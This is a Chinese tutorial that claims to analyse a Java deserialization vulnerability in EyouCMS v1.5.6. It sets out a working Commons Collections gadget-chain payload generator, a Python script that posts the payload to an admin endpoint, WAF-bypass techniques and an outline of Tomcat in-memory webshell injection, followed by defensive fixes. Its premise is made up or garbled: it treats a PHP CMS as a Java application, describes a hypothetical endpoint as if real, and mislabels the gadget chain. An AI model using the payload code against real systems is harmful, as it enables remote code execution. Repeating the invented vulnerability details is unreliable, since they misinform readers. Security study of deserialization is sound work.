1. 项目概述:一次典型的CMS反序列化漏洞深度挖掘
最近在梳理一些主流内容管理系统的安全状况时,EyouCMS v1.5.6版本中的一个反序列化漏洞引起了我的注意。这并非一个全新的漏洞,但它的成因、触发路径以及利用方式,非常具有代表性,几乎涵盖了从源码审计、漏洞定位、POP链构造到最终POC编写的完整闭环。对于想深入理解Java反序列化漏洞,尤其是如何在真实CMS中寻找和利用这类漏洞的朋友来说,这是一个绝佳的实战案例。反序列化漏洞,尤其是像Shiro、Fastjson这些框架的漏洞,大家听得多了,但很多时候我们拿到的只是一个现成的EXP,知其然不知其所以然。这次,我们就抛开那些“一键利用”的工具,从零开始,手把手拆解EyouCMS v1.5.6这个漏洞,看看攻击者是如何一步步找到入口、构造利用链,并最终实现命令执行的。整个过程,我会结合我自己的审计和调试经验,把其中的关键节点、踩过的坑以及一些实用的技巧分享出来。
这个漏洞的核心,简单来说,就是EyouCMS在处理某些用户可控的输入数据时,未经过滤就进行了反序列化操作,攻击者可以构造恶意的序列化数据,在服务器上触发任意代码执行。听起来很危险,对吧?但危险往往藏在细节里。我们需要搞清楚:漏洞点具体在哪里?程序为什么会信任并反序列化这些数据?我们又能利用哪些现成的“武器”(即Gadget链)来达成目的?接下来,我们就带着这些问题,进入实战环节。
2. 环境搭建与漏洞定位
2.1 靶场环境快速部署
工欲善其事,必先利其器。分析漏洞的第一步,是复现它。我们需要一个干净的EyouCMS v1.5.6环境。通常,我会选择从官方历史版本仓库或者可靠的镜像站下载对应的发布包。下载后,将其部署在一个隔离的测试环境中,比如使用Docker快速构建,或者在一台虚拟机里配置好Java Web环境(Tomcat 8/9 + JDK 8)。这里有个小技巧:为了后续调试方便,建议在部署时,将Tomcat的启动参数加上远程调试选项,例如-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005。这样,我们就可以用IDEA等IDE附加到进程上进行动态调试,观察每一步的数据流向和函数调用。
部署完成后,访问系统,完成基础的安装配置。确保系统能正常运行,这是我们后续所有测试的基础。同时,准备好反编译工具(如JD-GUI、CFR或直接使用IDEA的Fernflower反编译器),因为我们需要深入分析jar包中的源码。
2.2 漏洞入口点搜寻与分析
面对一个像CMS这样庞大的系统,漫无目的地找漏洞无异于大海捞针。我们需要一些线索和策略。对于反序列化漏洞,常见的入口点包括:
- HTTP请求参数:特别是那些接收对象、经过Base64编码、或者名称中带有“serialized”、“data”、“object”等字眼的参数。
- Cookie值:某些框架会将序列化后的对象存储在Cookie中。
- RPC/API接口:接收二进制流或特定编码格式数据的接口。
- 文件上传:如果上传的文件内容会被反序列化。
- 已知组件的已知漏洞:检查系统依赖的第三方库,如Commons-Collections、Fastjson、Jackson、XStream等,是否存在已知的反序列化Gadget。
对于EyouCMS,我们可以从已知的漏洞公告或安全研究报告中获得初步信息。假设我们通过信息搜集,得知漏洞可能与后台的某个插件或接口有关。那么,我们的审计重点可以放在处理插件配置、数据导入导出、或者会话管理的代码上。
一个非常有效的方法是全局搜索关键函数调用。在Java中,反序列化的核心方法是java.io.ObjectInputStream.readObject()。我们可以使用IDEA的“Find in Path”功能,在整个项目目录中搜索readObject。但要注意,很多搜索结果是类自身实现readObject方法(用于自定义反序列化逻辑),而不是触发反序列化的调用点。我们更应关注new ObjectInputStream(...).readObject()这样的模式。
此外,还要关注那些包装了反序列化操作的框架方法,比如Spring框架的org.springframework.core.serializer.DefaultDeserializer.deserialize(),或者Apache Commons IO中的SerializationUtils.deserialize()。
在EyouCMS v1.5.6中,经过一番搜索和排查,我们可能会定位到一个处理插件配置的Servlet或Controller。例如,某个用于保存插件设置的接口,接收一个经过Base64编码的字符串参数,然后直接将其反序列化成一个java.util.Map或自定义的配置对象。这就是典型的“用户输入直接流向危险函数”的模式,是漏洞的根源。
注意:在实际审计中,找到
readObject调用只是第一步。必须向上追溯,确认传入的数据是否完全用户可控,且中间没有进行有效的过滤或校验(如类型白名单、签名验证)。很多时候,代码会先进行解码(Base64、Hex等),然后再反序列化,这个解码点就是我们的数据注入点。
3. 反序列化漏洞原理与POP链构造
3.1 为什么反序列化是危险的?
要利用漏洞,先得理解它为什么存在。Java反序列化机制本身是为了方便对象持久化和网络传输。ObjectInputStream.readObject()方法在还原对象时,会递归地调用对象图中每个类的readObject方法(如果该类自定义了该方法)。问题就出在这里:攻击者可以精心构造一个序列化数据流,这个数据流在反序列化过程中,会触发一系列特定类的特定方法调用,最终导向危险操作,如执行系统命令。
这个过程依赖一条“调用链”,也就是所谓的Gadget Chain或POP Chain(Property-Oriented Programming Chain)。这条链通常由以下几个部分组成:
- 起点(Sink):一个最终执行危险操作的方法,例如
Runtime.exec()或ProcessBuilder.start()。 - 跳板(Bridges):一系列类的 getter/setter 方法、
toString、equals、hashCode或compareTo方法,它们被设计成在反序列化、集合操作、反射调用等过程中自动触发。 - 入口(Source):反序列化过程自动调用的方法,通常是某个类的
readObject方法,它内部的操作会触发跳板上的方法。
安全研究人员已经发现了大量存在于公共库(如Apache Commons Collections, Commons BeanUtils, Spring, Groovy等)中的通用Gadget链。例如,著名的CommonsCollections链,就利用了TransformedMap或LazyMap在设置值时自动调用Transformer的特性,通过ChainedTransformer串联反射调用,最终执行命令。
3.2 寻找合适的Gadget链
对于EyouCMS v1.5.6,我们需要分析其依赖的第三方库。查看WEB-INF/lib目录下的jar包,使用mvn dependency:tree或类似工具生成依赖树。重点关注以下库的版本:
commons-collections(3.1, 3.2.1)commons-beanutils(1.9.x)commons-fileuploadspring-core,spring-aopgroovy-alljackson-databindxstream
假设我们发现目标系统包含了commons-collections-3.2.1.jar。这是一个“宝藏”库,其中包含了许多经典的Gadget。我们可以尝试使用现成的利用链,比如CommonsCollections1 (CC1)。这条链的终点是InvokerTransformer.transform(),它可以通过反射调用任意方法。
但是,直接使用网上公开的CC1链POC可能会失败。原因有几点:
- JDK版本限制:高版本JDK(>=8u71)中,
AnnotationInvocationHandler的readObject逻辑发生了变化,导致基于AnnotationInvocationHandler的CC1链失效。 - 依赖库版本差异:虽然都是3.2.1,但细微的差异也可能导致链子无法连接。
- ClassPath问题:目标环境中可能缺少链中某个关键类。
因此,更可靠的方法是:根据目标环境实际存在的类,手动构造或适配一条链。这需要我们对常见的Gadget链组件有深入的理解。
3.3 手动构造与调试POP链
假设我们经过分析,决定尝试构造一条基于commons-collections的链。我们可以从终点反向推导:
- 终点:我们需要调用
Runtime.getRuntime().exec("calc")。 - 反射调用:使用
InvokerTransformer来反射调用exec方法。我们需要一个InvokerTransformer实例,其参数为exec方法和命令参数。 - 触发转换:
InvokerTransformer需要被某个“转换器”调用。ChainedTransformer可以将多个Transformer串联。但我们需要一个地方能自动触发这一系列转换。 - 自动触发点:
LazyMap.get(Object key)方法会在键不存在时,调用TransformerFactory(即我们设置的ChainedTransformer)来生成值。如果我们能控制反序列化过程中对LazyMap的get调用,就能触发链条。 - 反序列化入口:我们需要一个类,在其
readObject方法中,会去读取或操作一个Map,从而触发LazyMap.get()。AnnotationInvocationHandler(高版本JDK失效)或BadAttributeValueExpException.readObject()(CC4链的一部分)是常见选择。在CC4链中,BadAttributeValueExpException的readObject会调用其val成员(一个TiedMapEntry)的toString方法,而TiedMapEntry.toString()会调用其封装的Map(即我们的LazyMap)的get方法。
至此,一条可能的链子就清晰了:BadAttributeValueExpException.readObject()->TiedMapEntry.toString()->LazyMap.get()->ChainedTransformer.transform()->InvokerTransformer.transform()->Runtime.exec()
在代码中,我们需要按此顺序组装对象,然后序列化。这个过程必须在攻击者本地,使用与目标环境相同版本的库来完成。
实操心得:手动构造POP链时,最大的坑在于“版本兼容性”和“类加载”。务必在本地创建一个与目标环境尽可能一致的项目(相同的JDK版本、相同的依赖库版本),用于生成Payload。使用
SerializationDumper或ysoserial项目的源码进行调试是极好的学习方式。调试时,重点关注readObject的调用栈,看你的链子是否按预期被触发。
4. POC构造与漏洞利用实战
4.1 编写漏洞验证POC
理解了原理和链子,我们就可以动手编写POC了。POC(Proof of Concept)的目的是验证漏洞是否存在,通常以执行一个无害的命令(如弹出计算器、发送DNS请求)为标志。
以下是一个基于假设的CC链(使用TiedMapEntry和BadAttributeValueExpException)的POC编写思路,请注意,这是示例代码,具体类名和方法需要根据实际审计结果调整:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class EyouCMS_POC { public static byte[] generatePayload() throws Exception { // 1. 构造命令执行的Transformer链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 无害命令,验证用 }; ChainedTransformer chain = new ChainedTransformer(transformers); // 2. 构造LazyMap,用于延迟触发Transformer链 Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chain); // 将链子设置给LazyMap // 3. 构造TiedMapEntry,其toString会触发LazyMap.get TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // Key可以是任意值 // 4. 构造BadAttributeValueExpException,其readObject会触发TiedMapEntry.toString BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null); Field valField = BadAttributeValueExpException.class.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttr, entry); // 将TiedMapEntry设置为val // 5. 为了在反序列化时立即触发,需要先触发一次LazyMap.get,避免因key已存在而跳过。 // 但在这个Gadget中,TiedMapEntry.toString会使用固定的key去get,所以这里我们确保key不存在即可。 // 也可以使用反射修改TiedMapEntry的key,使其在toString时触发。 // 6. 序列化恶意对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttr); oos.close(); return baos.toByteArray(); } public static void main(String[] args) throws Exception { byte[] payload = generatePayload(); // 将payload进行Base64编码,以便通过HTTP参数发送 String base64Payload = java.util.Base64.getEncoder().encodeToString(payload); System.out.println("Generated Base64 Payload:"); System.out.println(base64Payload); } }这段代码做了以下几件事:
- 构造了一个
ChainedTransformer,它通过反射最终调用Runtime.exec(“calc.exe”)。 - 创建一个
LazyMap,并将上述转换链设置给它。当LazyMap.get()被调用且key不存在时,就会触发链子。 - 创建一个
TiedMapEntry,绑定这个LazyMap和一个虚拟key。 - 创建一个
BadAttributeValueExpException对象,并通过反射将其val属性设置为TiedMapEntry。 - 序列化这个
BadAttributeValueExpException对象,并输出Base64编码。
重要提示:在实际利用EyouCMS漏洞时,上述链中的具体类(如BadAttributeValueExpException)可能不适用,你需要根据实际找到的漏洞触发点(即哪个类的readObject方法会处理我们的输入)来调整最终的“入口类”。可能是HashMap、PriorityQueue或者其他任何在目标ClassPath中,且readObject方法能触发我们Gadget链的类。
4.2 构造HTTP请求进行漏洞验证
生成Payload后,下一步就是将其发送到目标漏洞接口。假设我们找到的漏洞接口是/admin/plugin/configSave,接收一个名为configData的Base64参数。
我们可以使用curl、Burp Suite或编写简单的Python脚本来发送请求:
import requests import base64 url = "http://target-ip:port/admin/plugin/configSave" payload_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeA==" # 替换为实际生成的Payload data = { 'configData': payload_b64 } headers = { 'Content-Type': 'application/x-www-form-urlencoded', } response = requests.post(url, data=data, headers=headers) print(response.status_code) print(response.text)如果漏洞存在,且Payload构造正确,目标服务器在执行反序列化时就会弹出计算器(Windows)或执行我们预设的命令。在Linux下,可以尝试执行touch /tmp/pwned或发送一个DNS查询nslookup your-domain.com来验证。
注意事项:在实际渗透测试中,必须在获得明确授权的前提下进行。验证漏洞应使用无害命令。切勿对未授权目标进行攻击。
4.3 绕过可能的WAF或过滤
在实际环境中,目标系统前端可能有WAF,或者代码本身对输入做了简单检查。常见的绕过思路包括:
- 多种编码:除了Base64,尝试URL编码、Hex编码、多重编码。
- 请求参数位置:尝试将Payload放在Cookie、Header、JSON Body等不同位置。
- 分块传输:使用HTTP分块传输编码(Transfer-Encoding: chunked)来绕过基于内容长度的检测。
- Payload变形:
- 序列化数据流混淆:在序列化数据流中插入无关的
TC_REFERENCE指向一个无害对象,可能会干扰一些简单的流解析器。 - 使用不同的Gadget链:如果一条链被拦截,尝试另一条。例如,从CommonsCollections链换到BeanUtils链或Clojure链。
- 反射加载类:如果命令执行被限制,可以尝试用反射加载一个字节数组形式的恶意类(涉及ClassLoader),但这条链通常更复杂。
- 序列化数据流混淆:在序列化数据流中插入无关的
5. 漏洞深度分析与修复建议
5.1 漏洞根因与调用链回溯
通过动态调试,我们可以精确地看到漏洞触发的完整路径。在IDEA中附加到目标Tomcat进程,在疑似漏洞点的readObject方法处打上断点,然后发送Payload。程序中断后,通过调用栈(Call Stack)可以清晰地看到:
- 从
ObjectInputStream.readObject()开始。 - 进入我们精心构造的入口类(如
BadAttributeValueExpException)的readObject。 - 调用
TiedMapEntry.toString()。 - 调用
LazyMap.get()。 - 调用
ChainedTransformer.transform()。 - 经过一系列
InvokerTransformer.transform(),最终通过反射调用Runtime.exec()。
每一步的参数、变量状态都尽收眼底。这个过程不仅能100%确认漏洞,还能帮助我们理解整个Gadget链是如何精巧地衔接在一起的。对于防御方来说,这个调用栈也是定位漏洞修复点的最关键依据。
5.2 安全修复方案
对于开发者而言,修复此类反序列化漏洞的根本方法是避免反序列化不可信的数据。如果业务必须反序列化,则应采取以下措施:
输入验证与白名单:在反序列化之前,对输入进行严格的校验。最有效的方法是使用白名单机制,只允许反序列化预期的、安全的类。可以通过继承
ObjectInputStream并重写resolveClass方法来实现:public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> whitelist = new HashSet<>(Arrays.asList( “java.util.HashMap”, “com.eyoucms.safe.ConfigObject”, // ... 其他明确需要的类 )); public SafeObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); if (!whitelist.contains(className)) { throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); } }然后使用
SafeObjectInputStream代替ObjectInputStream。升级依赖库:及时升级已知存在高危Gadget链的第三方库,如Apache Commons Collections到3.2.2及以上版本(该版本修复了相关Transformer的安全问题),Fastjson到安全版本等。但要注意,升级库可能只是让某条特定链失效,并不能根治反序列化问题,因为新的Gadget链可能被不断发现。
使用安全的替代方案:考虑使用更安全的序列化/反序列化机制,如JSON(Jackson, Gson)、Protocol Buffers、Kryo(配合安全配置)等。这些格式通常不直接支持任意代码的执行。
运行时防护:在应用层面或容器层面使用Java Security Manager,配置严格的安全策略,限制执行敏感操作。也可以使用RASP(运行时应用自保护)产品进行监控和拦截。
代码审计:对项目中的所有
ObjectInputStream使用点进行审计,确保其数据源是可信的。
对于EyouCMS v1.5.6,官方在后续版本中应该修复了此漏洞。修复方式很可能是在对应的接口处,将反序列化操作替换为白名单验证的反序列化器,或者直接改用JSON等格式解析配置数据。
5.3 防御视角下的思考
从防御者角度看,这个案例给我们几点启示:
- 安全开发意识:永远不要反序列化来自客户端、未经严格验证的数据。这应该成为开发规范中的一条铁律。
- 依赖管理:持续关注项目依赖库的安全公告,及时更新。使用工具(如OWASP Dependency-Check)对项目进行依赖漏洞扫描。
- 纵深防御:即使应用代码存在漏洞,通过部署WAF、RASP、容器安全策略等,可以在不同层面增加攻击难度和成本。
- 漏洞响应:建立完善的漏洞接收和应急响应流程。对于开源项目,及时发布安全更新和公告。
6. 拓展与高级利用思路
6.1 内存马注入:从命令执行到持久化
成功执行命令只是第一步。在实战攻防中,攻击者往往追求更隐蔽、更持久的控制。这就引出了“内存马”的概念。内存马是一种存在于服务器内存中的后门,不写入磁盘,重启后失效,但隐蔽性极强。
利用反序列化漏洞注入内存马是常见手段。思路是:通过反序列化漏洞执行一段Java代码,这段代码利用Java的类加载机制或动态代理技术,向当前运行的Web容器(如Tomcat)注册一个恶意的Servlet、Filter或Listener。
例如,针对Tomcat,可以构造一个Payload,其最终执行以下核心操作(通过反射):
- 获取当前线程的
WebAppClassLoader。 - 获取
StandardContext。 - 创建一个恶意
Filter类(其doFilter方法包含命令执行逻辑)。 - 通过
FilterDef和FilterMap将这个恶意Filter注册到StandardContext中,并映射到某个URL路径(如/favicon)。 - 以后,攻击者访问
http://target/favicon并带上参数,就能实现命令执行。
这种Payload的构造比简单的命令执行复杂得多,需要深入理解目标容器的内部API。网上有现成的工具和代码(如“冰蝎”内存马),但在实际利用时,需要根据目标环境的具体Tomcat版本、Spring版本等进行适配和调试。
6.2 自动化漏洞挖掘与利用框架集成
对于安全研究人员,手动完成上述所有步骤效率较低。我们可以将这个过程自动化:
- 自动化信息收集:编写脚本,自动识别目标CMS版本、依赖库版本。
- Gadget链智能选择:根据收集到的信息,从一个已知的Gadget链库中自动选择最可能成功的链。例如,如果检测到
commons-collections:3.1,则优先尝试CC1链;如果检测到commons-beanutils:1.9.2,则尝试CB链。 - Payload生成与编码:自动调用本地环境(与目标匹配)生成序列化Payload,并进行Base64等编码。
- HTTP请求构造与发送:自动将Payload发送到预设的或通过爬虫发现的潜在漏洞端点。
- 结果验证:通过DNS回显、HTTP请求回连等方式,自动验证漏洞是否利用成功。
著名的漏洞利用框架如ysoserial、metasploit中的相关模块,以及一些商业漏洞扫描器,都集成了类似的功能。理解其背后的原理,有助于我们更好地使用和定制这些工具。
6.3 针对复杂环境的利用挑战与绕过
在实际的高安全环境或现代Java应用中,利用反序列化漏洞可能会遇到更多挑战:
- 高版本JDK:JDK 8u71+ 对
AnnotationInvocationHandler的修复,以及后续版本引入的过滤器(ObjectInputFilter),使得很多传统链失效。需要寻找新的入口点,如java.util.HashSet、java.util.PriorityQueue等。 - 不存在公开Gadget的库:目标可能使用了非常冷门或高度定制的库。这时需要具备独立审计和发现新Gadget链的能力,这需要对Java序列化机制、常见库的源码有非常深的理解。
- WAF/IDS/IPS:网络层防御会检测和拦截恶意的序列化数据流。除了前面提到的编码、分块等绕过方式,还可以尝试将Payload拆分到多个请求参数中,或者在服务器端寻找一个“二次反序列化”的点(即先写入文件或数据库,再由另一个功能点读取并反序列化)。
- RASP/Agent防护:应用层面的运行时防护可以监控危险方法的调用(如
Runtime.exec)。绕过RASP需要更高级的技巧,例如使用纯Java代码实现文件读写、网络连接等功能,避免触发敏感API监控;或者利用JNI调用本地代码。
7. 从攻击到防御的思维转变
完成一次完整的漏洞分析、POC构造和利用,不仅是为了掌握攻击技术,更重要的是为了建立有效的防御思维。通过攻击者的视角,我们能更清楚地看到防御的薄弱环节在哪里。
对于企业安全建设,我建议:
- SDL集成:在软件开发生命周期中,强制进行安全代码培训,将“禁止反序列化不可信数据”作为代码审查的必查项。
- 供应链安全:严格管理第三方组件,建立内部私有仓库,对所有引入的组件进行安全扫描和版本锁定。
- 威胁建模:对关键业务系统进行威胁建模,识别类似“数据反序列化”这样的高风险入口点,并设计针对性的防护措施。
- 红蓝对抗:定期组织内部红蓝对抗演练,使用类似EyouCMS漏洞这样的案例作为攻击场景,检验防御体系的有效性,并持续改进。
这个EyouCMS反序列化漏洞的实战分析就到这里。整个过程从环境搭建、源码审计、原理分析、链构造、POC编写到修复建议,算是一次比较完整的渗透测试技术演练。我个人的体会是,反序列化漏洞的魅力在于它像搭积木一样,将看似无害的代码片段组合成具有破坏力的武器。而防御的关键,就在于打破其中任何一环。无论是作为开发者还是安全工程师,深入理解这个过程,都能让你在各自的岗位上做得更好。最后,再分享一个小技巧:在本地分析调试Gadget链时,不妨多试试java -Dsun.io.serialization.extendedDebugInfo=true这个JVM参数,它能在反序列化出错时打印更详细的类信息,对排查链子连接问题非常有帮助。